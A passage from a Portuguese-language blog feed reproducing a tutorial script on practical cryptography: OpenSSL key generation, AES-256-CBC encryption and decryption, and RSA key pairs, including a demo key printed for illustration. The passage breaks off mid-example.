]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>homelab</category><category>seguranca</category></item><item><title>[Akitando] #147 - Criptografia na Prática - Certificados, BitTorrent, Git, Bitcoin</title><link>https://akitaonrails.github.io/2023/11/10/akitando-147-criptografia-na-pratica-certificados-bittorrent-git-bitcoin/</link><guid isPermaLink="true">https://akitaonrails.github.io/2023/11/10/akitando-147-criptografia-na-pratica-certificados-bittorrent-git-bitcoin/</guid><pubDate>Fri, 10 Nov 2023 10:00:00 -0300</pubDate><description>&lt;div class="embed-container"&gt;
&lt;iframe
src="https://www.youtube.com/embed/iAA8NrfQtHo"
title="YouTube video player"
frameborder="0"
allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
referrerpolicy="strict-origin-when-cross-origin"
allowfullscreen&gt;
&lt;/iframe&gt;
&lt;/div&gt;
&lt;p&gt;Como que se geram chaves secretas pra encriptação? Pra que servem pares de chaves? Como certificados funcionam? Qual a diferença de impressão digital e assinatura digital? Como tudo isso funciona junto e chega em coisas como BitTorrent, Git ou Bitcoin?&lt;/p&gt;
&lt;p&gt;Já tinha feito 2 videos falando do básico de criptografia, hoje é dia de ver como essas coisas funcionam na prática e são usados em aplicações de verdade.&lt;/p&gt;</description><content:encoded><![CDATA[

<div class="embed-container">
  <iframe
    src="https://www.youtube.com/embed/iAA8NrfQtHo"
    title="YouTube video player"
    frameborder="0"
    allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share"
    referrerpolicy="strict-origin-when-cross-origin"
    allowfullscreen>
  </iframe>
</div>

<p>Como que se geram chaves secretas pra encriptação? Pra que servem pares de chaves? Como certificados funcionam? Qual a diferença de impressão digital e assinatura digital? Como tudo isso funciona junto e chega em coisas como BitTorrent, Git ou Bitcoin?</p>
<p>Já tinha feito 2 videos falando do básico de criptografia, hoje é dia de ver como essas coisas funcionam na prática e são usados em aplicações de verdade.</p>
<h2>Capítulos<span class="hx:absolute hx:-mt-20" id="capítulos"></span>
    <a href="#cap%c3%adtulos" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li>00:00:00 - Intro</li>
<li>00:01:28 - CAP 1 - Criptografia Simétrica - OpenSSL</li>
<li>00:10:11 - CAP 2 - Criptografia Assimétrica - Chaves RSA</li>
<li>00:17:06 - CAP 3 - Certificados Digitais - Let&rsquo;s Encrypt</li>
<li>00:29:18 - CAP 4 - Impressões e Assinaturas Digitais - Hashing</li>
<li>00:38:54 - CAP 5 - Picotando Arquivos - Introdução a BitTorrent</li>
<li>00:46:03 - CAP 6 - Entendendo Links Magnéticos - BitTorrent</li>
<li>00:53:52 - CAP 7 - Árvores de Merkle - Escalando BitTorrent</li>
<li>01:01:13 - CAP 8 - Git e Merkle - Reescrevendo a História</li>
<li>01:06:10 - CAP 9 - Juntando as Peças - BitTorrent e NoSQL</li>
<li>01:09:56 - CAP 10 - As Últimas Peças - De ZFS a Bitcoin</li>
<li>01:13:03 - Bloopers</li>
</ul>
<h2>Links<span class="hx:absolute hx:-mt-20" id="links"></span>
    <a href="#links" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><ul>
<li><a href="https://www.intel.com/content/www/us/en/developer/articles/technical/advanced-encryption-standard-instructions-aes-ni.html"target="_blank" rel="noopener">Intel® Advanced Encryption Standard Instructions (AES-NI)</a></li>
<li><a href="https://www.veracrypt.fr/en/Downloads.html"target="_blank" rel="noopener">VeraCrypt - Free Open source disk encryption with strong security for the Paranoid</a></li>
<li><a href="https://wiki.archlinux.org/title/Rng-tools"target="_blank" rel="noopener">Rng-tools - ArchWiki (archlinux.org)</a></li>
<li><a href="https://wiki.gentoo.org/wiki/Trusted_Platform_Module"target="_blank" rel="noopener">Trusted Platform Module - Gentoo wiki</a></li>
<li><a href="https://stackoverflow.com/questions/1220751/how-to-choose-an-aes-encryption-mode-cbc-ecb-ctr-ocb-cfb"target="_blank" rel="noopener">How to choose an AES encryption mode (CBC ECB CTR OCB CFB)? - Stack Overflow</a></li>
<li><a href="https://crypto.stackexchange.com/questions/12823/ecdsa-vs-ecies-vs-ecdh"target="_blank" rel="noopener">encryption - ECDSA vs ECIES vs ECDH - Cryptography Stack Exchange</a></li>
<li><a href="https://www.kb.cert.org/vuls/id/836068"target="_blank" rel="noopener">VU#836068 - MD5 vulnerable to collision attacks (cert.org)</a></li>
<li><a href="https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html"target="_blank" rel="noopener">Google Online Security Blog: Announcing the first SHA1 collision (googleblog.com)</a></li>
<li><a href="https://www.gnupg.org/"target="_blank" rel="noopener">The GNU Privacy Guard (gnupg.org)</a></li>
<li><a href="https://wiki.manjaro.org/index.php/How-to_verify_GPG_key_of_official_.ISO_images"target="_blank" rel="noopener">How-to verify GPG key of official .ISO images - Manjaro</a></li>
</ul>
<h2>SCRIPT<span class="hx:absolute hx:-mt-20" id="script"></span>
    <a href="#script" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Olá pessoal, Fabio Akita</p>
<p>Criptografia é um assunto super extenso, hoje quero mostrar um pouco mais na prática alguns componentes comuns que vocês vão esbarrar mais cedo ou mais tarde. Já tinha feito 2 videos sobre a teoria, depois assistam.</p>
<p>Eu não sou especialista em segurança, sou um desenvolvedor que se interessou pelo assunto, só. Por isso não considerem que tudo que vou falar é o único jeito ou é completo. É apenas o que eu considero o mínimo, de desenvolvedor pra desenvolvedor. Quem for especialista na área, por favor, complementem nos comentários abaixo.</p>
<p>Quem evitou o assunto até agora, hoje é o dia de cair de cabeça. Quero mostrar como encriptação de dados funciona, como certificados digitais funcionam, e como tudo isso é aplicado no mundo real, passo a passo. Na segunda metade vou explicar como um BitTorrent funciona e quais tecnologias tornam ela similar a um Git. Vamos lá.</p>
<p>(&hellip;.)</p>
<p>Este é um video pra quem já saiu da faculdade mas ainda não brincou o suficiente com criptografia, infelizmente você vai precisar ter um mínimo de base pra prosseguir e desta vez não vou segurar muito na mão. Prestem bastante atenção, façam anotações se precisar. Se não entenderem este começo, não vão conseguir seguir o raciocínio depois. Pausem, voltem e revejam, até entender. A primeira metade, vale até abrir o terminal e tentar os comandos vocês mesmos pra sentirem na mão como funcionam. Videos densos como de hoje não é pra assistir só uma vez.</p>
<p>Toda CPU moderna tem instruções em hardware pra encriptar dados. Se você tem Mac e habilitou File Vault, se tem Windows e habilitou BitLocker, ou se usa Linux com LUKS, todos usam o algoritmo de encriptação AES, provavelmente a variante de 256 bits. Em CPUs novas é muito raro sentir que o sistema ficou mais lento por causa disso, por isso recomendo manter ativado, especialmente em notebooks. Caso sejam roubados, a chance de alguém acessar seus dados é perto de zero. Se quiser aumentar performance, o certo não é desligar encriptação e sim comprar um SSD melhor.</p>
<p>Há quem ainda ache que só porque precisa fazer login na sua conta quando liga a máquina, está seguro. Mas não. Se remover o HD ou SSD do seu notebook e ligar numa outra máquina, vou ter acesso a todos os arquivos se não estiverem encriptados. Seu login e senha não fazem nenhuma diferença. Login em sistema operacional só evita que um usuário tenha acesso aos arquivos de outro usuários enquanto a máquina está ligada e ninguém tem acesso físico ao hardware. Se tiver acesso físico, não faz diferença. Isso vale pra qualquer sistema operacional.</p>
<p>No episódio de Sua Segurança é uma Droga eu demonstrei o uso do Veracrypt. Diferente de BitLocker do Windows, por exemplo, que só dá suporte a AES porque é o mais performático, o Veracrypt permite escolher outros algoritmos. Pra coisas muito grandes vai ser mais lento, mas por outro é o mais seguro. Um HD com BitLocker, pode ser difícil de quebrar, mas sabendo que é AES podemos focar só nisso. Mas uma imagem encriptada com Veracrypt, não sabemos nem o algoritmo usado, e isso aumenta a segurança exponencialmente. Por isso que pra coisas absolutamente críticas, é melhor usar Veracrypt. Pro dia a dia AES de BitLocker ou FileVault é mais que suficiente.</p>
<p>Vou repetir: se você tem dados importantes, num notebook que carrega embaixo do braço, pra trabalhar de um starbucks da vida, espero que não seja burro de andar por aí sem encriptação. Mas como que funciona esse tipo de encriptação? Vamos dar alguns exemplos.</p>
<p>Um dos pacotes de segurança e criptografia mais conhecidos e utilizados do mundo é o famoso OpenSSL. É um pacote gigante, com praticamente tudo que se precisa pra lidar com criptografia. Existem outras alternativas como LibreSSL, BoringSSL do Google, NSS da Mozilla e outros, mas vou focar no OpenSSL porque ainda é um dos mais usados. De um terminal num Linux, é assim podemos gerar uma chave aleatória. Vamos chamar de &ldquo;key.bin&rdquo;</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>openssl rand -out key.bin 32
hexdump key.bin</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Geramos uma chave binária de 32 bytes ou 256 bits. Essa chave é segura o suficiente pra maioria dos usos hoje. Pra ser mais seguro deveríamos adicionar entropia externa, por exemplo, com um hardware externo ou o chip de TPM que vem em máquinas modernas usando algo como TPM2-TSS. Entropia inicial é extremamente importante pra definir a força de uma chave. Mas só pra usar de exemplo, isso vai servir.</p>
<p>Por ser importante, vale mais uma tangente. Tudo em criptografia depende de um PRNG ou Pseudo Random Number Generator. Não existe número verdadeiramente aleatório, existem funções que, dado um número inicial, consegue ir &ldquo;cuspindo&rdquo; números que parecem aleatórios. Se colocarmos numa distribuição estatística, seria uniforme, onde todos os números tem mais ou menos as mesmas chances de aparecer, sem nenhum viés.</p>
<p>Mais do que isso, os números gerados não devem parecer diferentes de aleatoriedade verdadeira, devem ser resistentes a backtracking. Não deveria ser possível reconstruir números anteriores só vendo uma sequência de números gerados, ou seja, devem ser resistentes à previsão, não podendo ser fácil prever os próximos. Devem ser difíceis ou impossíveis de serem reproduzidos.</p>
<p>Bons números aleatórios são fornecidos pelo sistema operacional. No caso de Linux, existe um dispositivo em &ldquo;/dev/random&rdquo; que é de onde pacotes como OpenSSL se conectam. Podemos aumentar a entropia dele usando um serviço como &ldquo;rngd&rdquo;. Num Arch é só instalar com &ldquo;pacman -S rngd&rdquo;, habilitar e iniciar com &ldquo;systemctl enable&rdquo; e &ldquo;systemctl start&rdquo;. Esse serviço vai tentar puxar entropia de dispositivos de hardware ou do chip TPM do seu PC, se ele for moderno.</p>
<p>Chip TPM, de Trusted Platform Module, é o que gerou controvérsia quando o Windows 11 inicialmente ia obrigar todo mundo a ter. No fim voltaram atrás porque muita gente não ia ter e reclamaram muito. Mas o certo é realmente ter esse chip. Toda placa mãe tem um slot pra esse chip, mas em modelos baratos ele vem vazio, pra você comprar separadamente. Dentre as várias funções de segurança que ele fornece, está entropia via hardware. Esse serviço &ldquo;rngd&rdquo; vai alimentar o &ldquo;/dev/random&rdquo; que, por sua vez, é usado pelo OpenSSL.</p>
<p>Várias classes de malware e vírus são bloqueados ao ter um chip TPM devidamente configurado, em particular rootkits, além de melhorar a encriptação com BitLocker. Cheque se sua máquina tem, ou se tem suporte de instalar. Se tiver, compre e instale. Todo Mac e iPhone tem um chip similar instalado de fábrica, o chip T2, que é uma das razões de um Mac ser mais seguro que um PC mais barato. Nada disso torna você 100% seguro, mas certamente melhora sua defesa.</p>
<p>Voltando ao exemplo, agora vou criar um arquivo idiota chamado &ldquo;test.txt&rdquo; com a boa e velha frase &ldquo;Hello World&rdquo;. E vamos encriptar usando nossa chave. Esta linha de comando de OpenSSL vai usar AES 256 em modo CBC, com salt, passando o test.txt e devolvendo test.txt.enc, usando a chave key.bin que acabamos de gerar. Pronto. Se dermos um &ldquo;cat&rdquo; no novo arquivo, vai devolver um lixo binário. Podemos ver com hexdump e não tem nada a ver mais com o arquivo original. Esse é o resultado esperado.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>openssl enc -aes-256-cbc -salt -in test.txt -out test.txt.enc -pass file:./key.bin

cat test.txt.enc
Salted__����z�F�ğQw8��#�- ���4

hexdump test.txt.enc
0000000 6153 746c 6465 5f5f 1ae2 88f0 d67a cc46
0000010 9fc4 7751 fc38 23b4 2da6 f020 aaf5 0a34
0000020

hexdump test.txt
0000000 6548 6c6c 206f 6f57 6c72 0a64          
000000c</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Mais um adendo aqui. Só pra simplificar o exemplo, escolhi AES 256 em modo CBC ou Cipher Block Chaining. Ele é melhor que o anterior ECB mas é sensitivo a erros de ciphertext e é vulnerável a ataques de padding oracles se não for implementado corretamente.
Além de CBC existe Cipher Feedback ou CFB, Output Feedback ou OFB, Counter ou CTR e Galois/Counter Mode ou GCM. Se precisar escolher, use GCM.</p>
<p>Estou usando CBC com um salt, que já é melhor que só CBC sozinho, mas se for usar GCM ele vai gerar um tag de autenticação e anexar no arquivo encriptado. Mas o certo é se preocupar com o tráfego desse tag, porque ele precisa ser transportado de forma segura e não num anexo de email, aberto, por exemplo. Além disso tem que se preocupar com Initialization Vectors, IVs. Por isso a maioria dos tutoriais por aí, assim como meu exemplo, usam CBC: porque é mais simples de explicar.</p>
<p>Entenda isso: pareceu que falei uma sopa de letrinhas a toa só pra dificultar, mas foi pra demonstrar que a maioria dos tutoriais vai escolher a opção mais simples de explicar, que costuma ser a mais insegura. Por isso eu falo que se você não estudou criptografia a fundo, não deveria tomar decisões de criptografia: vai usar errado e vai tornar a encriptação do seu sistema mais inseguro.</p>
<p>Era uma das minhas críticas quando JWT, o JSON Web Authentication, por exemplo, foi lançado lá atrás: ele exigia que o desenvolvedor soubesse tomar essas decisões de algoritmos e modos, mas quase ninguém sabe e nem vai aprender certo. Ele não deveria permitir as combinações obviamente mais inseguras. Só que ao fazer isso, tornaria a usabilidade mais difícil. É sempre um trade-off: quanto mais usável tentar fazer alguma coisa, mais inseguro vai ser. Segurança é complicado mesmo.</p>
<p>Agora eu poderia enviar o arquivo encriptado pra outra pessoa pela internet e, se ela tiver a minha chave, conseguiria decriptar com uma linha de comando parecida com esta. OpenSSL modo AES 256 CBC recebendo o test.txt.enc encriptado e descriptografando em test.txt.dec passando a chave key.bin. Com um comando &ldquo;cat&rdquo; vemos que foi com sucesso.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>openssl enc -aes-256-cbc -d -in test.txt.enc -out test.txt.dec -pass file:./key.bin

cat test.txt.dec
Hello World</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Bacana, de forma simplificada, é assim que um BitLocker ou FileVault ou Veracrypt da vida estaria lidando seus dados. Eu digo simplificando porque aqui dei exemplo lidando com arquivos inteiros, mas sistemas de arquivos lidam com stream de blocos. Enfim, no HD físico só teria o equivalente àquele arquivo &ldquo;test.txt.enc&rdquo;, a versão encriptada. E precisa ter essa chave em algum lugar pra conseguir ler o conteúdo original de volta. Isso normalmente seria pesado de computar, mas a encriptação e decriptação não é feita via software e sim via instruções direto da CPU, em hardware, por isso o processo é mais acelerado e quase não sentimos, na prática.</p>
<p>Mas no exemplo anterior temos um problema gigantesco. Se o objetivo de encriptar algum arquivo for pra poder enviar de forma segura pra outra pessoa, como fazemos pra enviar a chave de forma segura também? A única forma seria essa pessoa vir até minha casa, trazendo um pendrive, e eu gravar a chave direto no pendrive, sem nunca trafegar pela internet. Mas isso não é prático. Como consigo passar uma chave pra outra pessoa de forma que ninguém na internet consiga interceptar ou adulterar?</p>
<p>Aqui entra o conceito de chaves assimétricas. Novamente, explico sobre isso em detalhes no 2o video de criptografia. Mas deixa eu dar um exemplo prático. De volta ao terminal, vamos usar OpenSSL pra gerar um par de chaves. Literalmente são dois arquivos, um chamado private.pem e outro chamado public.pem.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>openssl genpkey -algorithm RSA -out private.pem -pkeyopt rsa_keygen_bits:2048
openssl rsa -pubout -in private.pem -out public.pem</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Enfim, escolhi a opção de algoritmo RSA de 2048 bits. E eu sei que já deve ter gente indo nos comentários reclamar &ldquo;porra Akita, você devia ter usado curva elíptica em vez de RSA&rdquo;. Eu expliquei o que são esses algoritmos e as diferenças no meu video antigo, mas resumindo, sim, Elliptic Curve Cryptograph ou ECC é mais forte que RSA. Uma chave ECC de 256 bits é mais forte que uma chave RSA de 3072 bits, mais de 10 vezes o tamanho.</p>
<p>O problema é que OpenSSL não oferece comandos simples pra encriptar dados arbitrários com chaves ECC porque ECC é normalmente usado pra coisas como tráfego de chaves ou ECDH, assinatura digital que é ECDSA ou com mecanismos de encapsulamento de chave em ECIES. Ou seja, não é simples pra sair encriptando qualquer dado arbitrário. Eu poderia usar ECDH mas a ideia desse video não é entrar nas minúcias de ECC e sim dar uma noção geral de criptografia e, pra esse fim, RSA vai ser mais que suficiente. RSA é mais simples pra usar e ensinar, mas se estiverem fazendo algo sério, estudem tudo que acabei de falar sobre ECC.</p>
<p>E o que são esses arquivos RSA que foram gerados? Podemos usar o comando &ldquo;cat&rdquo; e vai listar o conteúdo. É a versão em Base64 da chave binária. Base64 é como encodamos um binário em caracteres ASCII que dá pra mostrar na tela. Convertemos 8 bits em 7 bits, por isso ele fica um pouco maior. O private.pem é mais longo e o public.pem é mais curto. Olhem só.</p>
<p>❯ cat private.pem
&mdash;&ndash;BEGIN PRIVATE KEY&mdash;&ndash;
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC5cMQZZd85emyr
oL9cvrR522tmBBlcwpF7QyobGwAmk8smL2HoMf207LJl3wi7JE736qqWdme/Rwr8
Zsz8ZOAeiud4SIk/NbfezMoLVkUxQGOg0GprpYciUVUp9e/3HKl5PS9Yr9lU6QN8
Bs7gY96DohUrGz/hQR7G550O+/ITV+qm3VZytPiH8tQAXrueqC8lf/Ly97UnlfLr
bauftw6QIw1ldI8NjxPIcwbNot+BfXcN6kiJifttdLi7/kEaAboecjYxcoipntjb
RdAntX/Y6xluwKtKRqrTs1XxHAPtEEQrVvfc6CjM2kLiFe//r3oZCLhHAAyZhJ6X
+J3zt0gXAgMBAAECggEAArvbsDzVEc2xEhtVvDd1hVcLmh6VBHiRLijbKI4j2O2/
MMoXCUDKFY49wmG2M71rypzeNJynQpB4uX2HJ8YRmxxUyuxVgFCO7DfHAhbHVga1
0Uub811RL4YqbsAY8GLZnsIc/hONl9ey555ZaMEgKSmiYpciwHPg0RwzWmKy0BUq
bFRLIHhfJfxzIpHxw3LExW///jyVw56sK9IE260pYqf8MxX/mhxPllj5VLNbctzj
YO1W+EjeUlolI19xSMJSlqW2bGeoXIalddDR0552QrmZAXEpRgI9V+NoQdSKnrXr
gHJS2uav2ORqoxDp3+7np0dnt06dtD/rzevrDtoDzQKBgQD0IiKU9L0QbZDWz8SH
b+SF5IymsMKRykyAXkghEjyzMXbbgnOHo7Eesc4iU07k1kzOKgtCcwt0glnEwKei
qlzpDOZoW+UdloWVUXSuLFcW1Oy67B8w/YLp6PFBce7YMjij1hOvJSQS5unEfmt2
8PZ01JUA9m49DGfXTUrnzX6mRQKBgQDCdEnZLkIyo9RKBjsrd57+Yp4KtJuAqn8o
fuBh33qxnrImkA/RMwrcUQIoLJly3DUk8UhJRIIqCLOp4BHc9WDkxa+7bqLl7OXG
qWfyvwNLVY1M98oMbU7ESJPZb2BHLNrWgnD/tGYLrRQq+WbVkh2B7b+31SP63UZz
sWG3W8TYqwKBgQDAZSZbvYRCLha3M4XuNoAiBLvTofm0a3lesO6nIXg0wAard2MU
wiwTxIxvALhsH3boArpc481jRFb6d9mkmB4gi8oI9GLbroQX6NnLaaY4mBT4Op1a
Pm+tZ6a5rNBOEUYR1+QrY1nKi7Au6nJGih+wctf6qjq2YdB0HLWreIcXAQKBgAFj
ezOF1QsviFCPAtUooYYHhkFlUMb2cLoFTezk/6dNDtCfrr07tBQmr/FBgEcFs4tz
/aQoTRWnwkCwTPBbADoh/0NDYv5pVqq4gvmEy606CyxFiLfV//3+1q9y0Ckx9M4b
WFs7Go9yyPYVmdpklLlczUWuy/b6pYol9iCtExbJAoGAWgDbmrwo6Pg2ro+f98i6
K761tCW43rB2Trfl0XyB38OT/8geW14/BLBJdRp3XChg60b2UaVVwLhp3WvfKs9u
FDFmsSSdnSs+X+JNtfnixbwXJl5I3z+s3Uz9wxRY/82RHM2f1FgQ22JFV7Es2H1U
XENsUtHZ/bgOggoZTP3uEl0=
&mdash;&ndash;END PRIVATE KEY&mdash;&ndash;</p>
<p>/tmp
❯ cat public.pem
&mdash;&ndash;BEGIN PUBLIC KEY&mdash;&ndash;
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAuXDEGWXfOXpsq6C/XL60
edtrZgQZXMKRe0MqGxsAJpPLJi9h6DH9tOyyZd8IuyRO9+qqlnZnv0cK/GbM/GTg
HorneEiJPzW33szKC1ZFMUBjoNBqa6WHIlFVKfXv9xypeT0vWK/ZVOkDfAbO4GPe
g6IVKxs/4UEexuedDvvyE1fqpt1WcrT4h/LUAF67nqgvJX/y8ve1J5Xy622rn7cO
kCMNZXSPDY8TyHMGzaLfgX13DepIiYn7bXS4u/5BGgG6HnI2MXKIqZ7Y20XQJ7V/
2OsZbsCrSkaq07NV8RwD7RBEK1b33OgozNpC4hXv/696GQi4RwAMmYSel/id87dI
FwIDAQAB
&mdash;&ndash;END PUBLIC KEY&mdash;&ndash;</p>
<p>Arquivos ponto &ldquo;pem&rdquo; significa Privacy Enhanced Mail que é um formato de arquivo texto exatamente como dessas chaves que acabei de mostrar. É isso, um arquivo que começa com esses hifens, BEGIN, lá embaixo termina com END, e no meio é algum binário formatado com Base64. Se usa SSH, você já gerou chaves nesse formato.</p>
<p>As chaves pública e privada geradas com os comandos <code>openssl genpkey</code> e <code>openssl rsa</code> estão relacionadas por meio do algoritmo de criptografia RSA. O processo começa gerando dois números primos enormes e aleatórios. Esses números primos são mantidos em segredo e são a base da segurança do sistema. Em seguida, esses números primos são multiplicados entre si, resultando em um número chamado &lsquo;módulo&rsquo;. Este módulo é usado na criação de ambas as chaves.</p>
<p>A chave pública é derivada do módulo e de um expoente público, que é um número pré-definido e geralmente pequeno. A chave pública pode ser compartilhada com qualquer pessoa e é usada para criptografar mensagens que só podem ser descriptografadas pela chave privada correspondente.</p>
<p>Por outro lado, a chave privada é gerada usando os números primos originais e um expoente privado calculado a partir deles. A chave privada é mantida em segredo e é usada para descriptografar as mensagens criptografadas pela chave pública.</p>
<p>Embora as chaves pública e privada não sejam os números primos em si, elas são matematicamente relacionadas aos números primos utilizados durante a geração. Esse relacionamento matemático é fundamental para o funcionamento da criptografia RSA e é o que permite a comunicação segura, onde informações criptografadas com a chave pública só podem ser lidas pela chave privada correspondente, e vice-versa. Fodeu, não entendeu nada né. Vamos simplificar com um exemplo.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>openssl pkeyutl -encrypt -pubin -inkey public.pem -in key.bin -out key.bin.enc</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Digito o comando openssl pedindo pra encriptar minha chave key.bin usando a chave pública e resultando num novo arquivo key.bin.enc. Pronto, agora temos a chave simétrica original, encriptada usando a nova chave pública. Se listarmos o conteúdo com hexdump, veja como os binários são diferentes.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">❯ hexdump key.bin.enc
</span></span><span class="line"><span class="cl"><span class="m">0000000</span> 84b4 f414 <span class="m">6144</span> 087d 079a <span class="m">3036</span> 4eb7 <span class="m">5798</span>
</span></span><span class="line"><span class="cl"><span class="m">0000010</span> 28de <span class="m">7505</span> e9fe fc0e 851c 877e be59 4b97
</span></span><span class="line"><span class="cl"><span class="m">0000020</span> a5b6 05de e379 c30f 974b 9f31 a24a f567
</span></span><span class="line"><span class="cl"><span class="m">0000030</span> 68ad 0af9 d39b f770 3e20 0be8 <span class="m">3116</span> c52f
</span></span><span class="line"><span class="cl"><span class="m">0000040</span> <span class="m">7437</span> <span class="m">4224</span> 54f4 d071 b28e a5ff d29e 7a85
</span></span><span class="line"><span class="cl"><span class="m">0000050</span> e78a 8ec2 b125 38ea 204a c071 82d0 <span class="m">5526</span>
</span></span><span class="line"><span class="cl"><span class="m">0000060</span> <span class="m">8923</span> 4a84 23d6 72ea da81 434a 5f05 9e87
</span></span><span class="line"><span class="cl"><span class="m">0000070</span> 3b8d f2c1 <span class="m">5331</span> fc16 e92a 4e3b d695 <span class="m">4759</span>
</span></span><span class="line"><span class="cl"><span class="m">0000080</span> <span class="m">2472</span> <span class="m">0453</span> 34cc db67 6dbf 8fbb 92ec e52f
</span></span><span class="line"><span class="cl"><span class="m">0000090</span> be0c f295 3b5e 2aac 7fdb 0e82 bf0a 0cf8
</span></span><span class="line"><span class="cl">00000a0 f158 <span class="m">0014</span> f93e 33f0 fe77 ca3a <span class="m">3144</span> 25f8
</span></span><span class="line"><span class="cl">00000b0 877c a25f <span class="m">4012</span> <span class="m">4953</span> be15 e06e <span class="m">9894</span> a4ef
</span></span><span class="line"><span class="cl">00000c0 a399 3b4a 1efe dc57 1e85 <span class="m">5410</span> 5df3 7f95
</span></span><span class="line"><span class="cl">00000d0 c957 <span class="m">9182</span> c426 55a6 ea7e 5e0d <span class="m">1270</span> 9ab2
</span></span><span class="line"><span class="cl">00000e0 <span class="m">4781</span> 44ae <span class="m">3437</span> 886b ef0c 82d6 5d66 5c5b
</span></span><span class="line"><span class="cl">00000f0 e072 <span class="m">0888</span> bccd 55ba f217 100c <span class="m">4906</span> f45e
</span></span><span class="line"><span class="cl"><span class="m">0000100</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">/tmp 
</span></span><span class="line"><span class="cl">❯ hexdump key.bin
